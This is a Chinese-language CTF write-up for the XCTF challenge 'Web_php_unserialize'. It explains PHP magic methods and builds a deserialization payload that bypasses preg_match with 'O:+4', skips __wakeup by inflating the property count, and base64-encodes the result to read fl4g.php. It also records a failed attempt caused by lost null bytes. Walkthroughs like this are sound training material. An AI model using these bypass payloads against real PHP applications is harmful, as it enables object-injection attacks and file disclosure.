攻防世界之Web_php_unserialize(超详细WP)

攻防世界之Web_php_unserialize(超详细WP)

目录

PHP代码分析

函数介绍

信息提取

思路分析

函数绕过

解题过程

用在线工具写PHP代码

 翻车过程

利用反序列化函数,先弄到相应代码

绕过修改

GET传参


PHP代码分析

攻防世界之Web_php_unserialize(超详细WP)

函数介绍

Demo类的魔术函数分析

  • __construct() 函数,当类新建对象的时候会执行,例如,$x = new Demo(要传给函数的值)
  • __destruct() 函数,当对象销毁后会调用,拿上面的代码来说,新建对象后,会先执行__construct() 函数,等所有函数执行完后就会执行该函数
  • __wakeup() 函数,会伴随反序列函数unserialize()的执行而先执行,也就是说,当执行反序列化函数的时候会先执行wakeup函数
  • highlight_file() 函数,用来输出指定PHP文件的代码

preg_match() 函数用来匹配一个正则表达,匹配上了就返回true,上面代码正则匹配的是不区分大小写的o:数字或者是c:数字,用来干扰反序列化的

unserialize() 函数用来反序列化字符串,将字符串反序列化成PHP代码

信息提取

可以看到中间段提示,flag在fl4g.php里

思路分析

通过get的方式用var传参fl4g.php执行该代码的highlight_file函数,但是需要绕过里面会造成干扰的几个函数

函数绕过

  1. 将传的参数进行base64编码,绕过base64_decode函数
  2. 在反序列化串的O:前加个加号“+”,绕过preg_match函数
  3. 修改反序列化串的对象属性个数(一般大于原个数),绕过wakeup函数

解题过程

用在线工具写PHP代码

 在线工具PHP序列化和反序列化 – 爱资料工具 (toolnb.com)

对应代码(在翻车过程中有详细的解题过程)

<?php
class Demo { 
    private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a);       //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a);        //绕过__wakeup()函数
echo base64_encode($a);                   //绕过解码函数
?>

运行

攻防世界之Web_php_unserialize(超详细WP)

得到编码,GET传参构造payload

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

 

攻防世界之Web_php_unserialize(超详细WP)

拿到flag

 翻车过程

利用反序列化函数,先弄到相应代码

利用反列化函数,得增加以下代码,$a = new Demo('fl4g.php');

先利用在线工些代码,对其进行反序列化

攻防世界之Web_php_unserialize(超详细WP)

 反序列化后得到(输出乱码了,并非原来输出里的字符串,导致翻车

"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

绕过修改

上面4改为+4 , 1是对象属性个数,改为2,得到

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

再利用在线工具Base64 在线编码解码 | Base64 加密解密 – Base64.us进行base64编码

攻防世界之Web_php_unserialize(超详细WP)

 得到

TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30=

GET传参

构造payload

inurl?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiRGVtb2ZpbGUiO3M6ODoiZmw0Zy5waHAiO30

攻防世界之Web_php_unserialize(超详细WP)

 靠,翻车了,应该是前面反序列化的时候出问题了

攻防世界之Web_php_unserialize(超详细WP)

这里输出的结果看到乱码了,所以系统复制的字符串并非原来的字符串,得直接在PHP环境下运行才可以

                       

点击阅读全文

上一篇 2023年 6月 5日 am10:32
下一篇 2023年 6月 5日 am10:34